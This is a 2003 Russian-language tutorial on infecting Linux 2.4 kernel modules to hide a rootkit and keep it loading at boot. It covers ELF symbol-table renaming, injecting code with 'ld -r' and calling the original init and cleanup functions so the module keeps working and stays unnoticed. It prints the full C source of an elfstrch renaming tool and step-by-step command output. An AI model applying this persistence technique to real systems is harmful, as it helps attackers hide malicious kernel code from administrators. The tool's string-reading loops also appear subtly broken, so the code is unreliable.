Метод инфицирования системных модулей ядра Linux

Основная идея данной статьи - показать новую технологию сокрытия модулей ядра и обеспечения их загрузки при старте системы. Мы рассмотрим, как это сделать методом заражения модулей ядра используемых системой. Данная статья рассматривает ядро Linux-2.4.х для x86, но эта же технология может быть применена и на других операционных системах, которые используют ELF формат.

[leePetitPrinces (lepetitprinces@inbox.ru)]

Intro

Данный материал не является чем-то новым. Но он является новым для автора и ему хочеться поделиться этим с другими. Ему так же интересны ваши отзывы, так как автор является новичком в подобных вещах и он готов выслушать разумные и адекватные коментари.

В статье использовались материалы сайта http://www.phrack.org. Есть вопросы? Тогда вам сюда: lepetitprinces@inbox.ru URL http://zaya.spb.ru/infect_lkm.txt

0. Содержание

  • 1. Введение
  • 2. Основы ELF формата
    • 2.1 .symtab секция
    • 2.2 .strtab секция
  • 3. Игра с LKM
    • 3.1 Загрузка модуля
    • 3.2 Изменение .strtab
    • 3.3 Инъекция кода
    • 3.4 Сохранение невидимости
  • 4. Заключение
  • 5. Исходный код elfstrch
  • 6. Ссылки

1. Вступление

В течении нескольких лет свет увидел множество руткитов использующих возможность загрузки модулей ядра (LKM). Это панацея? Не совсем, LKM повсеместно используется потому, что это действительно мощно: вы можете прятать файлы, процессы и другие полезные вещи ;) Первый руткит использующий LKM мог быть легко выявлен, потому, что он выводился по команде lsmod. Но время не стоит на месте и было придумано множество техник для сокрытия загруженного модуля, таких как описаны в докладе Plaguez'а [1] или более изощренного используемого в Adore Rootkit[2]. Несколько лет спустя был предложен метод основанный на изменении образа памяти ядра использую /dev/kmem [3]. И наконец, техника статического патча ядра [4]. Все они решают одну общую проблему: руткит должен быт загружен после перезагрузки системы.

Основная идея данной статьи - это показать новую технологию сокрытия LKM и обеспечить ему загрузку при старте системы. Мы рассмотрим как это сделать методом заражения модулей ядра используемых системой. Данная статья рассматривает ядро Linux-2.4.х для x86, но эта же технология может быть применена и на других операционных системах, которые используют ELF формат. Некоторые знания относительного этого формата необходимы для понимания данной техники. По этому вначале мы немного изучим этот формат, в частности систему именования в ELF объектных файлах. Затем мы изучим механизм по которому загружаются модули ядра. И в конце-концов мы посмотрим как внедрить произвольны код в модуль, не повредив его и сохранив исходную функциональность.

2. Основы ELF формата

Executable and Linking Format (ELF) - это формат выполняемого файла используемого в операционной системе Linux. Мы поковыряемся в той части этого формата, что необходима нам для понимания техники и что будет использовано далее. Когда линкуются два ELF объекта, линковщику необходимо знать некоторую информацию относительно связи символов в каждом объекте. Каждый ELF объект (LKM например) содержит две секции, цель которых хранение информационных структур описывающих символы ELF объекта. Давайте рассмотрим их.

2.1 .symtab секция

Данная секция представляет из себя таблицу содержащую структуры данных необходимые линковщику для работы с символами содержащимися в ELF файле. Эти структуры описаны в файле /usr/include/elf.h
	/* Symbol table entry. */

	typedef struct
	{
		Elf32_Word    st_name;        /* Symbol name (string tbl index) */
		Elf32_Addr    st_value;       /* Symbol value */
		Elf32_Word    st_size;        /* Symbol size */
		unsigned char st_info;        /* Symbol type and binding */
		unsigned char st_other;       /* Symbol visibility */
		Elf32_Section st_shndx;       /* Section index */
	} Elf32_Sym;
Нас интересует только поле st_name, что представляет из себя индекс в .strtab секции, в которой сохранено имя символа.

3.1 .strtab секция

Этот раздел представляет из себя таблицу строк заканчивающих нулем (стандартные С строки, потому что микропроцессор PDP-7, на котором разрабатывались UNIX и C, имел такой строковый тип ASCIZ. ASCIZ означало "ASCII с нулём (zero) на конце"). Как мы видели выше, поле st_name структуры Elf32_Sym структуры - это индекс в .strtab, благодаря чему мы можем получить смещение строки содержащей имя символа по следующей формуле.
offset_sym_name = offset_strtab + st_name
offset_strtab - это смещение .strtab секции относительно начала файла. Это все вычисляется механизмом резолвинга имен секций, что не будет тут описано - так как это не самое интересно из того, что касается рассматриваемого вопроса. (Реализация может быть изучена в разделе 5)

Мы можем сделать вывод, что имя символа может быть легко найдено и изменено в ELF объекте. На самом деле, это не совсем так, нам надо учитывать одно обстоятельство, что изменение имени на большее (по длине) сдвинет все остальные имена в файле, что потребует изменение всей таблицы .symtab. Потому новое имя не должно первышать исходное.

3.1 Загрузка модулей

Модули ядра загружаются программой insmod, которая является частью пакета modutils. Интересующий нас код находиться в функции init_module() файла insmod.c
static int init_module(const char *m_name, struct obj_file *f,
        unsigned long m_size, const char *blob_name,
        unsigned int noload, unsigned int flag_load_map)
{
(1)     struct module *module;
        struct obj_section *sec;
        void *image;
        int ret = 0;
        tgt_long m_addr;

        ....

(2)     module->init = obj_symbol_final_value(f, 
                obj_find_symbol(f, "init_module"));
(3)     module->cleanup = obj_symbol_final_value(f,
                obj_find_symbol(f, "cleanup_module"));

        ....

        if (ret == 0 && !noload) {
                fflush(stdout);         /* Flush any debugging output */
(4)             ret = sys_init_module(m_name, (struct module *) image);
                if (ret) {
                        error("init_module: %m");
                        lprintf(
      "Hint: insmod errors can be caused by incorrect module parameters, "
      "including invalid IO or IRQ parameters.\n"
      "You may find more information in syslog or the output from dmesg");
                }
        }
Данная функция использует (1) для размещении структуры module, которая содержит данные необходимы для загрузки модуля. Нас интересуют поля init_module и cleanup_module, которые являются указателями на соответствующие функции init_module() и cleanup_module() загружаемого модуля. Функция obj_find_symbol() (2) извлекает структуру посредством поиска имени init_module в таблице символов. Извлеченная структура скармливается функции obj_symbol_final_value(), которая извлекает адрес функции init_module. Аналогичные операции проделываются и для cleanup_module() функции модуля (для тех кто в танке, функции init_module() и cleanup_module выполняются при загрузке модуля и при его выгрузке соответственно).

Когда структура module окончательно заполнена необходимыми данными вызывается функция sys_init_module() (системный вызов на самом деле), которая загружает модуль в ядро.

Ниже приведена интересующая нас часть системного вызова sys_init_module(), который вызывается в процессе инициализации модуля (см. выше). Код этой функции может быть найден в файле /usr/src/linux/kernel/module.c:

asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
        struct module mod_tmp, *mod;
        char *name, *n_name, *name_tmp = NULL;
        long namelen, n_namelen, i, error;
        unsigned long mod_user_size;
        struct module_ref *dep;
                                        
        /* Lots of sanity checks */
        .....
        /* Ok, that's about all the sanity we can stomach; copy the rest.*/

(1)     if (copy_from_user((char *)mod+mod_user_size,
                           (char *)mod_user+mod_user_size,
                           mod->size-mod_user_size)) {
                error = -EFAULT;
                goto err3;
        }

        /* Other sanity checks */

        ....
                
        /* Initialize the module.  */
        atomic_set(&mod->uc.usecount,1);
        mod->flags |= MOD_INITIALIZING;
(2)     if (mod->init && (error = mod->init()) != 0) {
                atomic_set(&mod->uc.usecount,0);
                mod->flags &= ~MOD_INITIALIZING;
                if (error > 0)  /* Buggy module */
                        error = -EBUSY;
                goto err0;
        }
        atomic_dec(&mod->uc.usecount);
После некоторых логичных проверок, структура module копируется из пользовательского пространства в пространство ядра вызовом copy_from_user() (1). Затем выполняется функция init_module() (2) нашего модуля посредством вызова mod->init().

3.2 Изменение .strtab

Как мы видим выше, что адрес init функции модуля располагается в ядре на основе данных секции строк .strtab. Изменение строки символа дает нам возможность выполнить функцию отличную от init_module().

Имеется несколько путей изменения записей в .strtab секции. Например опция -wrap программы ld, но она не совместима с опцией -r которая нам понадобиться позже (раздел 3.3). Потому была написана небольшая программа, которая занимается поставленной задачей (раздел 5).

А вот и небольшой пример:

	$ cat test.c
	#define MODULE
	#define __KERNEL__

	#include <linux/module.h>
	#include <linux/kernel.h>

	int init_module(void) 
	{
		printk ("Into init_module()\n");
		return 0;
	}

	int evil_module(void) 
	{
		printk ("Into evil_module()\n");
		return 0;
	}

	int cleanup_module(void) 
	{
		printk ("Into cleanup_module()\n");
		return 0;
	}

	$ gcc -I/usr/src/linux/include -c test.c
А теперь давайте посмотрим на .systab и .strtab секции нашего получившегося файла:
	$ objdump -t test.o

	test.o:     file format elf32-i386

	SYMBOL TABLE:
	00000000 l    df *ABS*  00000000 test.c
	00000000 l    d  .text  00000000 
	00000000 l    d  .data  00000000 
	00000000 l    d  .bss   00000000 
	00000000 l    d  .modinfo       00000000 
	00000000 l     O .modinfo       00000020 __module_kernel_version
	00000000 l    d  .rodata        00000000 
	00000000 l    d  .note.GNU-stack        00000000 
	00000000 l    d  .comment       00000000 
	00000000 g     F .text  00000019 init_module
	00000000         *UND*  00000000 printk
	00000019 g     F .text  00000019 evil_module
	00000032 g     F .text  00000019 cleanup_module
Мы изменим две записи секции .strtab для подмены символа init_module символом evil_module. Но вначале переименуем символ init_module, так как два символа с одинаковым названием недопустимы. Это будет выглядеть примерно так:
  init_module => dumm_module
  evil_module => init_module

	$ ./elfstrch test.o init_module dumm_module
	[+] Symbol init_module located at 0x458
	[+] .strtab entry overwriten with dumm_module

	[+] Symbol evil_module located at 0x46b
	[+] .strtab entry overwriten with init_module

	$ objdump -t test.o

	test.o:     file format elf32-i386

	SYMBOL TABLE:
	00000000 l    df *ABS*  00000000 test.c
	00000000 l    d  .text  00000000 
	00000000 l    d  .data  00000000 
	00000000 l    d  .bss   00000000 
	00000000 l    d  .modinfo       00000000 
	00000000 l     O .modinfo       00000020 __module_kernel_version
	00000000 l    d  .rodata        00000000 
	00000000 l    d  .note.GNU-stack        00000000 
	00000000 l    d  .comment       00000000 
	00000000 g     F .text  00000019 dumm_module
	00000000         *UND*  00000000 printk
	00000019 g     F .text  00000019 init_module
	00000032 g     F .text  00000019 cleanup_module
Нетрудно заметить, что функции поменялись местами.
	# insmod test.o
	Warning: loading test.o will taint the kernel: no license
	  See http://www.tux.org/lkml/#export-tainted for information about tainted
	modules
	Module test loaded, with warnings
	# dmesg | tail -n1
	Into evil_module()
Ну вот, произошло что и следовало ожидать - evil_module() был выполнен в место init_module().

3.3 Инъекция кода

Представленная выше технология позволяет выполнить одну функцию заместо другой. Но это не сильно интересно, намного полезнее научиться внедрять свой код в уже созданные модули. Это может быть легко сделано с использованием превосходного линковщика - ld:
	$ cat original.c
	#define MODULE
	#define __KERNEL__

	#include <linux/module.h>
	#include <linux/kernel.h>

	int init_module(void) 
	{
		printk ("Into init_module()\n");
		return 0;
	}

	int cleanup_module(void) 
	{
		printk ("Into cleanup_module()\n");
		return 0;
	}

	$ cat inject.c
	#define MODULE
	#define __KERNEL__

	#include <linux/module.h>
	#include <linux/kernel.h>


	int inje_module (void)
	{
		printk ("Injected\n");
		return 0;
	}

	$ gcc -I/usr/src/linux/include -c original.c
	$ gcc -I/usr/src/linux/include -c inject.c 
Тут начинается самая важная часть. Внедрение кода не представляет большой проблемы, так как модули ядра relocatable ELF объекты. Объекты данного типа могут быть легко слинкованы вместе для предоставления символов и дополнения друг друга. Однако, одно правило должно быть учтено: одно и тоже имя не может присутствовать в двух модулях. Мы будем использовать ld с опцией -r для создания объекта такой же природы из которых он создается (прямо высшие материи пошли :) Это создаст модуль, который может быть загружен ядром.
	$ ld -r original.o inject.o -o evil.o
	$ objdump -t evil.o 

	evil.o:     file format elf32-i386

	SYMBOL TABLE:
	00000000 l    d  .text  00000000 
	00000000 l    d  *ABS*  00000000 
	00000000 l    d  .rodata        00000000 
	00000000 l    d  .modinfo       00000000 
	00000000 l    d  .data  00000000 
	00000000 l    d  .bss   00000000 
	00000000 l    d  .comment       00000000 
	00000000 l    d  .note.GNU-stack        00000000 
	00000000 l    d  *ABS*  00000000 
	00000000 l    d  *ABS*  00000000 
	00000000 l    d  *ABS*  00000000 
	00000000 l    df *ABS*  00000000 original.c
	00000000 l     O .modinfo       00000016 __module_kernel_version
	00000000 l    df *ABS*  00000000 inject.c
	00000016 l     O .modinfo       00000016 __module_kernel_version
	00000019 g     F .text  00000019 cleanup_module
	00000000 g     F .text  00000019 init_module
	00000000         *UND*  00000000 printk
	00000034 g     F .text  00000019 inje_module
Функция inje_module успешно слинковалась в наш новый модуль. Теперь нам нужно всего лишь изменить .strtab секцию, для подмены init_module нашей новой функцией.
	$ ./elfstrch evil.o init_module dumm_module
	[+] Symbol init_module located at 0x564
	[+] .strtab entry overwriten with dumm_module

	$ ./elfstrch evil.o inje_module init_module 
	[+] Symbol inje_module located at 0x577
	[+] .strtab entry overwriten with init_module
А теперь давайте проверим все это на действии ;)
	# insmod evil.o
	Warning: loading evil.o will taint the kernel: no license
	  See http://www.tux.org/lkml/#export-tainted for information about tainted
	modules
	Module evil loaded, with warnings
	# dmesg |tail -n 1
	Injected

3.4 Сохранение невидимости

Так как инфицироваться будут в основном загружаемые модули, полезно сохранить их прежнюю функциональность. Так как иначе наш инфицированый модуль будет легко замечен. Для этого нужно выполнить вполне простую и очевидную вешь. В нашем коде должны быть вызовы исходные функции init_module() и cleanup_module(). Для этого подправим наш код:
	$ cat stealth.c
	#define MODULE
	#define __KERNEL__

	#include <linux/module.h>
	#include <linux/kernel.h>


	int inje_module (void)
	{
		/* Вызовим исходную функцию модуля */
		dumm_module ();
		printk (" Injected\n");
		return 0;
	}

	int evclean_module (void)
	{
		/* Аналогично */
		cleanup_orignl ();
		return 0;
	}
Теперь нужно произвести следующие замены:
	init_module => dumm_module
	cleanup_module => cleanup_orignl

	inje_module => init_module
	evclean_module => cleanup_module
После сих не хитрых телодвижений исходный модуль не теряет своей функциональности, но помимо того, доставляет нам немало радости выполнением внедренного кода.

4. Заключение

У данного метода есть один недостаток. Если мы хотим сохранить модуль в памяти после перезагрузки - мы дожны изменить системный модуль загружаемый при старте в каталоге /lib/modules/. Но тогда хорошо настроенная HIDS (Host Intrusion Detection System, like Tripwire) обнаружит его. С другой стороны модуль ядра не является загружаемым (+x) и не является SUID'ным файлом, так что сохраняется большая вероятность быть не замеченным. Вот так вот, товарисЧи сИс. админы, не прозевайте, а то ваш mii.o может стать вашим злейшим врагом.

5. Исходный код elfstrch

Данный код не выделяется ничем примечательным. Хочеться отметить, что для полного его понимания неплохо бы знать как следует ELF формат. Изучить оный можно по ссылке http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf.
	/*
	 * Оригинальный автор:
	 * elfstrchange.c by truff <truff@projet7.org>
	 * Изменяет значение символьного имени в .strtab секции
	 *
	 * Использование: elfstrch elf_object sym_name sym_name_replaced
	 *
	 */

	#include <stdlib.h>
	#include <stdio.h>
	#include <elf.h>

	#define FATAL(X) { perror (X); exit (EXIT_FAILURE); }


	int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, 
						   Elf32_Shdr *shstrtable, char *res, size_t len);
						   
	Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, 
						   Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
						   
	Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, 
						   Elf32_Shdr *strtable, char *res, size_t len);


	int main (int argc, char **argv)
	{
	  int i;
	  int len = 0;
	  char *string;
	  FILE *fd;
	  Elf32_Ehdr hdr;
	  Elf32_Shdr symtab, strtab;
	  Elf32_Sym sym;
	  Elf32_Off symoffset;

	  fd = fopen (argv[1], "r+");
	  if (fd == NULL)
		FATAL ("fopen");

	  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
		FATAL ("Elf header corrupted");

	  if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
	  {
		fprintf (stderr, "Can't get .symtab section\n");
		exit (EXIT_FAILURE);
	  }
		
	  if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
	  {
		fprintf (stderr, "Can't get .strtab section\n");
		exit (EXIT_FAILURE);
	  }
		

	  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
	  if (symoffset == -1)
	  {
		fprintf (stderr, "Symbol %s not found\n", argv[2]);
		exit (EXIT_FAILURE);
	  }
	  
	  
	  printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);
	  
	  if (fseek (fd, symoffset, SEEK_SET) == -1)
		FATAL ("fseek");

	  if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
		FATAL ("fwrite");
	  
	  printf ("[+] .strtab entry overwriten with %s\n", argv[3]);
	  
	  fclose (fd);

	  return EXIT_SUCCESS;
	}

	Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, 
				Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
	{
	  int i;
	  char symname[255];
	  Elf32_Off offset;

	  for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
	  {
		if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), 
				   SEEK_SET) == -1)
		  FATAL ("fseek");
		
		if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
		  FATAL ("Symtab corrupted");
		
		memset (symname, 0, sizeof (symname));
		offset = ElfGetSymbolName (fd, sym->st_name, 
							strtab, symname, sizeof (symname));
		if (!strcmp (symname, name))
		  return offset;
	  }
	  
	  return -1;
	}


	int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, 
		Elf32_Shdr *shdr)
	{
	  if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize), 
				 SEEK_SET) == -1)
		FATAL ("fseek");
	  
	  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
		FATAL ("Sections header corrupted");

	  return 0;
	}
	  

	int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, 
							 Elf32_Shdr *shdr)
	{
	  int i;
	  char name[255];
	  Elf32_Shdr shstrtable;

	  /*
	   * Get the section header string table
	   */
	  ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
	  
	  memset (name, 0, sizeof (name));

	  for (i=0; i<ehdr->e_shnum; i++)
	  {
		if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize), 
				   SEEK_SET) == -1)
		  FATAL ("fseek");
		
		if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
		  FATAL ("Sections header corrupted");
		
		ElfGetSectionName (fd, shdr->sh_name, &shstrtable, 
						   name, sizeof (name));
		if (!strcmp (name, section))
		{
		  return 0;
		}
	  }
	  return -1;
	}


	int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, 
		Elf32_Shdr *shstrtable, char *res, size_t len)
	{
	  size_t i = 0;
	  
	  if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
		FATAL ("fseek");
	  
	  while ((i < len) || *res == '\0')
	  {
		*res = fgetc (fd);
		i++;
		res++;
	  }
	  
	  return 0;
	}


	Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, 
		Elf32_Shdr *strtable, char *res, size_t len)
	{
	  size_t i = 0;
	  
	  if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
		FATAL ("fseek");
	  
	  while ((i < len) || *res == '\0')
	  {
		*res = fgetc (fd);
		i++;
		res++;
	  }
	  
	  return (strtable->sh_offset + sym_name);
	}
	/* EOF */

6. Ссылки

[1] http://www.phrack.org/show.php?p=52&a=18
[2] http://stealth.7350.org/rootkits/
[3] http://vx.netlux.org/lib/vsc07.html
[4] http://www.phrack.org/show.php?p=60&a=8

Статья взята с сайта OpenNet.

[ опубликовано 01/05/2003 ]

leePetitPrinces (lepetitprinces@inbox.ru) - Метод инфицирования системных модулей ядра Linux   Версия для печати